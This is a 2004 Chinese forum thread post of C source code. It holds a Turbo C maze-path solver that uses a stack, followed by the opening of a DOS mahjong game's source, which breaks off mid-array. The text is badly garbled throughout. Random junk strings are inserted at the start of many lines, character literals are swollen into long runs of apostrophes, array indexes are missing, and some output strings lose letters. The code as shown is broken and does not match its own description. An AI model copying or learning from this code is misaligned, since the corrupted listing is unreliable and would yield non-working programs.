数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

---

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>
< align=left>程序目的：
( L# T+ g" T0 g! N输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
# h3 S: L# w* O6 l/ j2 L显示在屏幕上。
) F, T5 W7 \, a5 n程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
7 g7 n  E5 r9 H: r" E& l时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
! V+ t5 {/ |% ~; c! c2 K: }% U否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
4 w4 m5 K- q, x5 e2 f- P将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
找到路径时，屏幕下方会出现Path found，否则出现Path not found。
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
2 \2 B' K; l! i不可以在VC上编译。
下载DOS版和windows版的迷宫游戏全部代码
9 |+ D8 q& f1 S" d0 O用户名：migong
----------------------------------------------------------------------------------
/*
3 \' {0 n  d; fMazePath Demo BY Turbo C 2.0
4 f' z9 ~; i% y6 A  X# a( q. P' qCopyright(c) RoverUnion. All right reserved.
3 U, \5 E# L6 W) o$ qFilename: Maze.c
9 K$ V" b' `, ?( }* u0 cAuthor Dongchengyu.
6 {' L( [3 n; l4 A, r8 RVer 1.10
*/
2 a  P( V( K  G1 w#include &lt;stdio.h&gt;
5 g# C# M8 I, q# l5 I5 [' V#include &lt;stdlib.h&gt;
#include &lt;malloc.h&gt;
#include &lt;conio.h&gt;
#include &lt;dos.h&gt;
/ z$ F" l" o9 x& }9 {  Z% z* R#define OK 1
, L3 D4 J1 D1 L#define ERROR 0
. x7 w* m) ^- R, \% Y1 m; k# \  m#define TRUE 1
#define FALSE 0
#define F9 0x43
#define Esc 0x1b
1 N' n+ m7 V; c  b4 r#define Del 0x53
7 p5 Q( b1 i+ Q8 y5 ~6 i#define Home 0x47
#define End 0x4f
) q) o, R% W# m& u2 R#define Space 0x20
+ A2 x1 U! O: G; W1 n2 {! `, t#define Up 0x48
: x' c  l: R+ M# x& n#define Down 0x50
#define Left 0x4b
#define Right 0x4d
#define Enter 0x0d
#define F2 0x3c
#define F3 0x3d
#define STACK_INIT_SIZE 200
" B, g2 w' g1 w5 P#define STACKINCREMENT 10
typedef int Boolean;
! p" h& h& }, W, l7 ^7 G7 i% m' atypedef int Status;
typedef struct {
int x;
int y;
} PosType;
typedef struct {
int ord;
PosType seat;
+ w% [  J' V3 I  ^  v- H' @$ Zint di;
} SElemType;
typedef struct {
% A. K4 q5 S+ t- r+ o9 Eint td;
. X* n3 r" v8 _/ Cint foot;
9 m( a1 U- z& Aint mark;
} MazeType;
/ r. ^& a% Q6 c5 U$ e: D( vtypedef struct {
SElemType *base;
SElemType *top;
" J& w$ D0 e$ [0 t! i: ~5 C  Mint stacksize;
3 u$ }8 _; }8 J5 s, ^% O, M} Stack;
int Maze[20][30];
MazeType maze[20][30];
" n( C1 F; t- `3 N4 |PosType StartPlace;
PosType EndPlace;
  T3 A* b: T& c$ m8 t3 |/ Vint count;
int m,n;
Boolean b_start=FALSE,b_end=FALSE;
& [; `! G3 ?3 {void CreatMaze(void);
Status SaveMaze(char *filename);
/ G# F2 a6 c# D3 @9 oStatus LoadMaze(char *filename);
4 e7 [. x; Q& l$ x4 N. evoid Error(char *message);
Status InitStack(Stack *s);
Status DestroyStack(Stack *s);
  u! C/ o% T9 p0 O9 ]9 zStatus ClearStack(Stack *s);
Boolean StackEmpty(Stack *s);
int StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
) I' q+ C& n3 C, k) H; [1 \5 _* G/ W4 yStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
void MarkPrint(PosType seat);
void FootPrint(PosType curpos);
# v" S3 ~5 Z6 g2 |' |+ K. |, _. d- APosType NextPos(PosType seat,int di);
1 R( y1 ~9 F! E6 b' |* {6 }: R. F5 zStatus MazePath(PosType start,PosType end);
void CreatMaze(void)
$ |! G; _  U) |+ K/* Form the maze. */
{
& m, a* x6 I, t6 G& Jvoid Error(char *message);
Status SaveMaze(char *filename);
: e! Q/ t" m( A* h: q* fStatus LoadMaze(char *filename);
/ A; R5 p3 ~# f% h2 o' Uint i,j;
int x,y;
3 s3 g% m  M0 n* w1 D- l0 gchar c;
char savename[12],loadname[12];
Boolean flag=FALSE,load=FALSE;
clrscr();
printf("Menu:\n\n");
3 S; F, ^! ~, x- i. R! ?2 s/ @printf("1.Load Mazefile*.dd)\n\n");
# l$ i7 j4 k; x. G& b2 c$ pprintf("2.Input Maze:\n\n");
# w1 [  C, i; q7 h+ Rprintf("Input your choice: ");
do
{
c=getch();
switch(c)
$ g0 {) g7 g9 j+ e$ f$ o1 b: \  v{
$ |8 B: K: G5 O8 `/ w0 Fcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
# C* r0 S6 t  bcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
default: break;
}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
) x, M& T$ s0 J! s+ yif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
4 K- C  X. F$ W0 m: E( R; ]{
2 z1 w7 P6 Q$ x0 i; Wprintf("\n\nLoadName: ");
scanf("%s",loadname);
; c' i( ^; I9 i+ w# e- Z- oif(LoadMaze(loadname))
; U" ?5 @7 j- o{
6 _6 b9 Q* a; t6 G4 fsleep(1); load=TRUE;
" B8 p8 j0 c9 M% j. _/ j2 f! G}
else { gotoxy(1,9); printf("Load fail! "); }
6 Y( ], u/ m4 ~}
if(!load)
% W) P/ l; V4 l1 ~{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
+ u# Y7 {0 o; k* \' ?7 U% Q8 xprintf("\nInput Length :\n");
scanf("%d",&amp;m);
4 ?# W9 F. J) ]" C( R2 F: Sprintf("\nInput Width :\n");
scanf("%d",&amp;n);
if(m&lt;4||n&lt;4) Error("Input");
if(m&gt;30||n&gt;20) Error("Maze too large");
for(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
Maze[j]=2;
StartPlace.x=0;
: R3 \' u, g" c8 HStartPlace.y=0;
EndPlace.x=0;
4 B' X! Z3 Z2 A' u, J7 {( o4 n9 REndPlace.y=0;
clrscr();
3 m1 b$ N- k4 X5 D" M+ mprintf("\n");
3 W: o$ b: s) M$ ?+ z- S- V, ]9 gfor(i=1;i&lt;=n;i++)
+ g* ?4 N: Y) S, W; w- c{
for(j=1;j&lt;=m;j++)
( P  |$ d3 l" c$ B+ I{
2 T) n2 _- e7 P: T, o- @) p" Aprintf(" #");
Maze[i-1][j-1]=0;
}
! v; l4 B; ^  m1 Y7 I; Z& @printf("\n");
$ {+ }, J6 _- P}
}
4 x! T+ L# a: T6 W* S7 _gotoxy(65,5);
/ @! j; N. ]" ?2 m( sprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
gotoxy(65,7);
9 I% ]+ E4 d% r( W3 _* T# @printf("Start:Home");
5 R$ x* |( N3 X2 b! ~7 hgotoxy(65,9);
printf("End:End");
: H8 A# Q) Z' H$ ~! Ngotoxy(65,11);
% @3 L& g- D8 _7 U* n; _* I; iprintf("Delete Wallel");
gotoxy(65,13);
printf("Enter Wall:Enter");
gotoxy(65,15);
+ o8 R6 p2 [/ D# L5 s% t6 hprintf("Save Maze:F2");
7 Z) b3 u8 y0 C9 i4 U" B* fgotoxy(65,17);
printf("Complete:F9");
gotoxy(65,19);
+ H3 x; p( d1 O: E. k6 Lprintf("Exit:Esc");
1 K9 I: A4 T- g# Agotoxy(4,3);
x=4;y=3;
do
{
- r" ^; v) F; h8 p3 ec=getch();
5 q) J1 e7 [7 H% Rswitch(c)
9 o# s& `, L5 v. ]: n0 f+ `{
8 ^5 Q: w( ]0 L! \case Up: if(y&gt;3) { y--; gotoxy(x,y); }
$ f# r7 e& i& ~9 Jbreak;
8 L) c. @, R) U9 R  W; Bcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
5 Y0 p' Y% {! G, x8 [7 Abreak;
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
break;
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
9 g2 A: h, i2 m0 v$ q: m! Fbreak;
5 z8 |! j' _) O" H( w9 Z& jcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
break;
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
; ^" C8 @. Y! J8 mif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
2 i4 R: m2 o7 I3 ?$ wbreak;
; j/ I& D. [2 m4 Fcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
: [" _) S- E* A( c* s6 _{
( S1 k" y) H5 p) o9 C  A4 Y1 IStartPlace.x=x/2-1;
StartPlace.y=y-2;
0 i6 E  B% S+ p4 S  pputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(x,y);
5 N7 X3 v9 J; b7 n  P2 \4 Y; f. zb_start=TRUE;
3 [" C8 W( ~8 y' Q2 X+ L7 s}
break;
  W/ n' m, V& Z' jcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
& c6 e% {4 B: o! u* F- X5 a# _& t{
5 M6 j9 K2 Q' s4 CEndPlace.x=x/2-1;
% P7 u! Z% _# j  M( `/ tEndPlace.y=y-2;
. a8 ^9 [8 o7 [, Mputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
+ w& D( c" }+ i2 @( s0 Ggotoxy(x,y);
' w6 A+ \$ Y# G# }$ b. Bb_end=TRUE;
}
break;
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
& C1 ]2 l7 R" Z2 hcase F2: gotoxy(2,22);
  G5 X# ?6 {8 b, ]printf("Savename:");
scanf("%s",savename);
gotoxy(2,22);
! o& J. n( c8 o, _+ z5 q7 dif(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
sleep(1);
, h# U8 F# p: C) V8 M5 V+ l8 C  V6 Qgotoxy(2,22);
printf(" ");
gotoxy(x,y);
/ {5 K2 J" v- t+ p9 a5 Jbreak;
+ H  @4 q% n% n* D2 g0 Sdefault: break;
}
8 f# n& R2 ?% A2 ^( y}
while(!flag);
for(i=0;i&lt;30;i++)
7 u8 s& M9 r1 jfor(j=0;j&lt;20;j++)
/ @+ D* ^1 v( ~6 L# E3 K; A$ [8 g7 u/ z1 O{
maze[j].td=Maze[j];
maze[j].mark=0;
maze[j].foot=0;
}
5 ^$ \1 \8 u+ q+ [; h2 q}
1 Q! L" r8 w4 o# _& zStatus LoadMaze(char *file)
/* The maze has been loaded. */
, r& `" d* _. R. F; [{
9 Y, X0 t! o: z4 H( A! ]FILE *fp;
char *buffer;
char ch;
int i=0,j,k;
Boolean len=FALSE,wid=FALSE;
if((fp=fopen(file,"r"))==NULL)
return ERROR;
buffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
while(ch!=EOF)
{
buffer=ch;
9 L+ L. K- _4 |( X- u( P0 _3 J' Qi++;
ch=fgetc(fp);
}
  B6 s% u" w( e4 T0 f3 O0 wm=30;n=20;
for(i=0;i&lt;600;i++)
5 @9 a' l( l% V* _% x{
3 R4 @  C, ^9 d' l5 E2 ij=i/30; k=i%30;
4 {/ c" j$ o9 v% `/ X6 ?if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
switch(buffer)
{
9 H9 i; s  L/ |8 G# mcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
6 J6 x6 H" P! ]& ncase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
/ o; }1 e, ?# T& L8 W8 v5 O* Gcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
6 ?% K6 v0 J9 \3 h$ qStartPlace.x=k;
StartPlace.y=j;
& |7 e& L/ {  b: S& Pb_start=TRUE;
; ], F7 T5 H  q. U# x; k1 ~break;
$ V$ l. l9 |2 v9 b( d) N0 lcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
EndPlace.x=k;
, q! P) y1 s2 `) e9 J9 EEndPlace.y=j;
! Q) E1 H* d) R) S7 ?/ P0 Jb_end=TRUE;
) X* r' K; }5 {4 q. n9 rbreak;
default : break;
}
}
; X3 o0 z& ^% O6 b- w9 ^5 _7 ^fclose(fp);
clrscr();
for(i=0;i&lt;30;i++)
6 [- Q4 f  [' |for(j=0;j&lt;20;j++)
# P9 A! \8 m& a{
maze[j].td=Maze[j];
maze[j].foot=0;
maze[j].mark=0;
if(Maze[j]==0)
{
' o9 \' g* P  k# P* l0 Jgotoxy(2*i+2,j+2);
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
4 I7 I- S. l; k0 n2 Y1 ~: r# J4 x0 X}
}
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
6 a- O0 s. z; w7 D' @& Ngotoxy(2*EndPlace.x+2,EndPlace.y+2);
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
2 D' M8 s: ], s- Z4 freturn OK;
}
5 e' M) A9 E" N1 s5 Z6 M; @* p; ]Status SaveMaze(char *filename)
8 W* U9 \# A, ]7 T- b: Y5 G$ A/* The maze has been saved. */
; Q0 v1 Y5 n9 C$ z8 F& X0 M, k{
- v) H. _" \& w7 F4 ?2 {$ iFILE *fp;
& ~4 u" L: B$ ?char *buffer;
int i,j,k;
0 \- m& H" v5 ?: X& d! n0 s0 @fp=fopen(filename,"wb");
# ]4 z$ I% a! Z$ M" `  Ibuffer=(char *)malloc(600*sizeof(char));
( N' h( w( M9 Rfor(i=0;i&lt;600;i++)
{
, `" O" U( |' V5 m! m7 sj=i/30; k=i%30;
/ U3 d) W8 f& h6 H" a( tswitch(Maze[j][k])
{
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
" M1 |" O! ?/ t1 A* Y0 c- sdefault : Error("Write"); break;
$ V! ^9 j) Q1 |; o3 d1 ^4 M}
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
fwrite(buffer,600,1,fp);
1 G) q/ D2 \1 C- N+ Mfree(buffer);
% l/ U6 D& w1 S2 U7 H& yfclose(fp);
% P% }6 i, b/ V6 J3 P2 {return OK;
}
, {7 b" H* s, t& ~; _- Dvoid Error(char *message)
6 B: I- }$ p1 h0 V! `{
clrscr();
fprintf(stderr,"Error:%s\n",message);
exit(1);
3 b. Z  s; e$ c& ?7 T" s} /* Error */
. G+ v; R5 a2 [8 V9 X! _
9 B1 Q' W$ d7 xStatus InitStack(Stack *s)
+ I2 |* T  c0 r0 a' _' x/* The stack s has been created and is initialized to be empty. */
{
8 c# n1 ?7 F: _& V, v2 x8 }s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
  s4 o) F( }4 r7 D, iif(!s-&gt;base) Error("Overflow");
5 \' R% D" |  rs-&gt;top=s-&gt;base;
: A& b( X1 ?8 v! Ps-&gt;stacksize=STACK_INIT_SIZE;
return OK;
6 O7 ]+ H/ o- f1 G! l} /* InitStack */
8 G  r4 W! k$ _- b& NStatus DestroyStack(Stack *s)
$ e8 |. ]/ T2 G/ U: f  I3 O/* The stack s has been destroyed. */
; U+ L: s3 W+ U2 f{
( C! d% ^7 U/ \: M+ C& ms-&gt;top=NULL;
s-&gt;stacksize=0;
free(s-&gt;base);
* L+ m# t+ Z" X* o8 }3 X/ A+ Ls-&gt;base=NULL;
return OK;
} /* DestroyStack */
Status ClearStack(Stack *s)
& }, C. C, m  w8 G0 }) w" u0 H/* The stack has been clear to be maximum. */
{
. }$ T! {) P. i* X) e$ is-&gt;top=s-&gt;base;
, X7 Q3 J/ i& v( z2 {& Hs-&gt;stacksize=STACK_INIT_SIZE;
4 t7 B" h( L5 e0 x( kreturn OK;
# t: `7 s1 g5 r3 B3 ^* P; n} /* ClearStack */
# B& M) c( a2 t& j, {Boolean StackEmpty(Stack *s)
$ v" ?/ i4 [5 U1 C" _5 A* [/* Check if the stack s is empty. */
{
if(s-&gt;top==s-&gt;base) return TRUE;
else return FALSE;
9 E1 ?8 @) ~$ R: L7 k+ {1 N} /* StackEmpty */
int StackLength(Stack *s)
/* Gain the length of the stack s. */
{
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
. j9 y: w0 {+ ~# I. e4 yelse return 0;
} /* StackLength */
: \, Y2 v' o, \+ P7 rStatus Push(Stack *s,SElemType e)
3 K+ H- O3 M  L$ H3 K" c% f3 B/* The element e has been pushed into the stack s. */
% t3 j4 |7 b8 c{
% Y" S! |" X# Bif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
+ n% M& J( W* M, k7 A{
s-&gt;base=(SElemType *)realloc(s-&gt;base,
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
if(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base+s-&gt;stacksize;
% P3 P0 g3 j4 y& S* j+ s3 {9 xs-&gt;stacksize+=STACKINCREMENT;
}
& P6 ^* ~' w7 s1 C*s-&gt;top++=e;
return OK;
} /* Push */
SElemType Pop(Stack *s,SElemType e)
/* The element e has been removed from the stack s. */
: [( p, H7 H  g, c{
1 U9 ^2 l# v, E! H3 B( _6 aif(s-&gt;top==s-&gt;base) Error("op");
2 U0 m% A- a; Xe=*--s-&gt;top;
8 G, i( p  [! B5 X+ u" E0 yreturn e;
  g; o$ [* G' N} /* Pop */
- q" g0 @0 a0 v3 V5 i1 XStatus GetTop(Stack *s,SElemType *e)
/* The element e has got to the top of the stack s.*/
{
: G# m! ]  ^3 k$ e- j) @+ u) vif(s-&gt;top==s-&gt;base) Error("GetTop");
1 l% y* U2 h0 M& Y4 u*e=*(s-&gt;top-1);
7 t/ e! A: Y7 M2 b8 H# ?  t: o& Wreturn OK;
* T. R8 ]6 H& x2 t9 Y} /* GetTop */
6 w; n% J3 V6 q; [/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
% O) D4 n" K# }+ o  M, x, K/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
/ L5 c# R# g9 q% d{
SElemType p;
int result;
if(s-&gt;top==s-&gt;base) return ERROR;
p=s-&gt;base;
. }" [/ N) Z7 v/ S3 ?) ewhile(!(p==s-&gt;top))
' n; B' g8 ]9 Q/ T4 K{
8 W2 _8 W: E% n; uresult=(*visit)(p);
+ z- {  \% h. Jp++;
}
return OK;
) G. r: @' F. k+ W4 W} */
Boolean Pass(PosType curpos)
/* Check if the current position can be passed. */
{
9 }9 m0 f% ^3 V+ wif(maze[curpos.x][curpos.y].td==1&amp;&amp;
5 U2 t0 G! p# j: }9 M  f5 _maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
return TRUE;
- u8 _- n4 ~4 Q9 g  c  s. |else return FALSE;
} /* Pass */
, @. @- C6 j5 v" `. T+ zvoid MarkPrint(PosType seat)
/* Mark the position seat. */
{
maze[seat.x][seat.y].mark=-1;
" Q4 G/ v( P0 X0 i: E- U; A/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
; J, A* `0 k" I) N, L} /* MarkPrint */
void FootPrint(PosType curpos)
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
{
! }+ K9 n  {1 G/ xmaze[curpos.x][curpos.y].foot=1;
} /* FootPrint */
3 T0 ]+ P' `0 q7 K8 DPosType NextPos(PosType seat,int di)
5 o2 r) g7 C4 l6 f( L{
+ ^" ^6 T2 t$ f1 ~switch(di)
{
case 1: seat.y++; return seat; /* Eastward */
case 2: seat.x++; return seat; /* Southward */
case 3: seat.y--; return seat; /* Westward */
case 4: seat.x--; return seat; /* Northward */
default: seat.x=0; seat.y=0; return seat;
}
1 Y" b. ~0 s0 `& _1 t1 A, e: n} /* NextPos */
+ ~: p, E; q$ a0 [6 n2 K/ I: ~
( ]6 @9 R* t% S. J) @+ \/* The key to the program. */
* X, r! t1 N7 y- j( M; j/* Pre: The maze array &amp; the startplace &amp; the endplace.
Post: Find the one traverse of the maze and perform the mazepath.
Uses: The ADT stack class.
*/
Status MazePath(PosType start,PosType end)
{
PosType curpos;
int curstep;
# t& ^8 _  V8 g  C% p" O6 iSElemType e;
  \* Y0 u* C) ]# C+ K5 ^7 `Stack *s,stack;
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!stack.base) Error("Overflow");
" [9 u4 a: W6 cstack.top=stack.base;
! W2 ]4 P3 k+ w) R1 n/ \9 mstack.stacksize=STACK_INIT_SIZE;
s=&amp;stack;
7 O' F2 k! @; a. Y, p! ecurpos=start;
% V+ H3 r# @/ ^# S# N7 r% V2 fcurstep=1;
- |# Q; T/ L4 L$ ^do
{
if(Pass(curpos))
; D  a! x5 a$ X, B{
3 b  G+ F; K# E; C( T  z) fFootPrint(curpos);
' a* e; |  c% O7 m6 F1 S; Be.ord=curstep; e.seat=curpos; e.di=1;
3 ]8 N$ Q& v6 |/ H. H; W5 Wgotoxy((curpos.y+1)*2,curpos.x+2);
! e% P) l& O* B8 B% h" Zputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
$ c; J, F" p  Y+ odelay(8000); /* pospone time. */
Push(s,e);
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
& Z. p3 m0 T. X; l{
DestroyStack(s);
return TRUE;
}
curpos=NextPos(curpos,1); /* Try next position. */
& c3 [4 A) ]6 x1 _curstep++;
}
" d1 J) \1 d, Z* ]; [else
! D1 u8 U1 E3 X7 U8 D' J0 y{
. [0 o, o! g+ t  W. o6 }& qif(!StackEmpty(s))
{
e=Pop(s,e); /* Removed e from s. */
8 U7 u) S, I% V2 Pwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
  s6 c9 ?) m* m, ?; Wand s is not empty. */
{
MarkPrint(e.seat);
/ D- c+ |+ `& x0 C; K5 bgotoxy((e.seat.y+1)*2,e.seat.x+2);
1 i! ]3 j+ P/ r0 Kputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* Pospone time. */
- i. r2 B, O# K) q  B4 I" agotoxy((e.seat.y+1)*2,e.seat.x+2);
! x" ?0 f* j) uputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
) ]/ G$ m: M# @$ ke=Pop(s,e); /* Remove e from s. */
. ?- {$ E5 J" k" n/ ]) m0 x. ucurstep--;
}
5 ?6 `& {& G  S3 Qif(e.di&lt;4) /* The current position hasnot been checked. */
$ R5 f8 Y+ d( `/ ]7 e5 V{
. h  ~7 ^$ K7 _. De.di++;
8 f( U# u7 G$ L& b9 _& APush(s,e); /* Insert e into s. */
. J8 U  c3 m( @' tcurpos=NextPos(e.seat,e.di); /* Try next position. */
}
8 t- ?% M4 z2 d6 h% q0 }}
% I  p6 @1 H7 g* T; M}
; U; X3 u$ R) Y7 x}
while(!StackEmpty(s));
; l0 C% [& @5 g5 rDestroyStack(s);
: ]  I. w6 C6 P# Greturn FALSE;
} /* MazePath */
+ ]* h! Y# x' }; y$ ]void main()
{
3 k# x1 [; V3 P: n5 gPosType start,end;
" u2 m# Z3 P2 H8 z9 ^CreatMaze();
start.x=StartPlace.y;
start.y=StartPlace.x;
' k  |2 R6 x( C, A3 wend.x=EndPlace.y;
end.y=EndPlace.x;
if(MazePath(start,end))
{
gotoxy(2,22);
" P" e9 A8 D# S+ cprintf("ath found\n");
3 X8 l0 B( X# w}
else
{
gotoxy(2,22);
" W4 }6 C7 B* H9 f5 Bprintf("ath not found\n");
}
getch();
9 T7 Y( V* O0 Y# S$ T% B) }$ gclrscr();
/ f9 N3 w1 }$ N4 Q: X( z} </P></DIV>

---

作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
/*天宇软件
6 q2 a1 A! \7 L% q3 N作者：上海黑暗之龙
9 Z, J# D$ ~2 u- y6 D9 I/ a2002/10/30
麻将原代码*/
#include "dos.h"
! r( [8 d7 k1 Z2 o9 T+ x#include "stdio.h"
  v) B/ C- }3 y/ f1 P#include "graphics.h"
% x* c0 c* ]- h7 v#include "bios.h"
#include "conio.h"
! }+ }. o( `: h/ x8 z#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
) t7 N; O' m6 X9 h#define VGA256 0x13 /*图形模式13h*/
# x# [& i, a& X. H" u#define TEXT_MODE 0x03 /*普通文本模式*/
8 h! ~4 h+ i6 W4 K# C8 j- ^#define SETVGA Set_Video_Mode(VGA256)
4 n- x/ z7 ~8 [1 @# C! B#define OUTVGA Set_Video_Mode(TEXT_MODE)
8 W. m' K# q9 X6 S#define BYTE unsigned char
! J0 p% B" |  e' n6 A#define WORD unsigned int
3 r7 l# d/ \( h! o! k- M) @#define DWORD unsigned int
& X5 ?( c9 R; x3 S( i#define ESC 283
' p, L8 c( S: r6 R+ I#define LEFT 19200
" a* s, l/ J! x8 U+ B: ^6 n5 \#define RIGHT 19712
( Z0 Z9 p0 d% M#define H 9064
2 `3 L; l$ k" |" j! T#define ENTER 7181
4 D1 e1 p. d& e4 ^unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
7 [8 q* T  @2 ?& ^: J' {' hint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
3 m2 N$ Z) _$ ]4 bstruct chi
{
' D/ q3 v' Y& G2 hint lg;
int lgg;
}ch[13];
struct mj
3 _  |; z4 S: ]/ x! g% F$ c{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
- B  j3 z" P. qint data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
9 J* W. w8 Y3 z* V5 F% s}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
+ e" j5 W' ]7 G; i3 \- A0 C"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
- }( J4 X2 c) z8 a# N( t"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
3 g4 b" X9 u. ]8 I* H* k6 s"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
1 h% I' k* d: V8 {. j; F8 }"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
' w. w2 `9 ?. [# U"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
